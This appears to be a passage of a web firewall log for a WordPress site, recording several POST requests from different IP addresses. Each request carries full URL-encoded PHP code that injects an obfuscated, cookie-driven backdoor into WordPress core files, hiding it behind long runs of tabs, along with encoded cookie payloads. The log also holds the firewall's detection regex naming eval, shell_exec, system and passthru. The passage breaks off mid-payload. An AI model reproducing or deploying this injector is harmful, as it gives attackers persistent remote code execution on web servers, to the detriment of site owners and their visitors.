cQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3277\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ncQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:57","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3238\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nwP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:00","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ip:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3238\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nip=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:02","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3238\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nfp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%